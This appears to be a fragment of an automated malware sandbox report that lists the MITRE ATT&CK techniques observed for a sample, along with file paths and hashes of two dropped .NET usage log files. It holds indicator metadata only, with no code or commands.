T1053.005

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Winlogon Helper DLL

T1547.004

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

System Owner/User Discovery

T1033

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

WUDFHost.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\WUDFHost.exe.log
Size 1KB
SHA256 ee954c5d8156fd8890e582c716e5758ed9b33721258f10e758bdc31ccbcb1924
MD5 baf55b95da4a601229647f25dad12878
SHA1 abc16954ebfd213733c4493fc1910164d825cac8
SHA512 24f502fedb1a305d0d7b08857ffc1db9b2359ff34e06d5748ecc84e35c985f29a20d9f0a533bea32d234ab37097ec0481620c63b14ac89b280e75e14d19fd545
TLSH
T1B521CD712376B1D889163F422C5D2A8007BF0335BA50DE1CB9A9725ED9260171F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
MD5 d85ba6ff808d9e5444a4b369f5bc2730
SHA1 31aa9d96590fff6981b315e0b391b575e4c0804a
SHA512 8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
TLSH
T1CE51EE323375B1E888167F071E681A8053BF4355EA94AF1CB698621ED93641B9F222F3
MD5 SHA1 SHA512 TLSH

Submit Download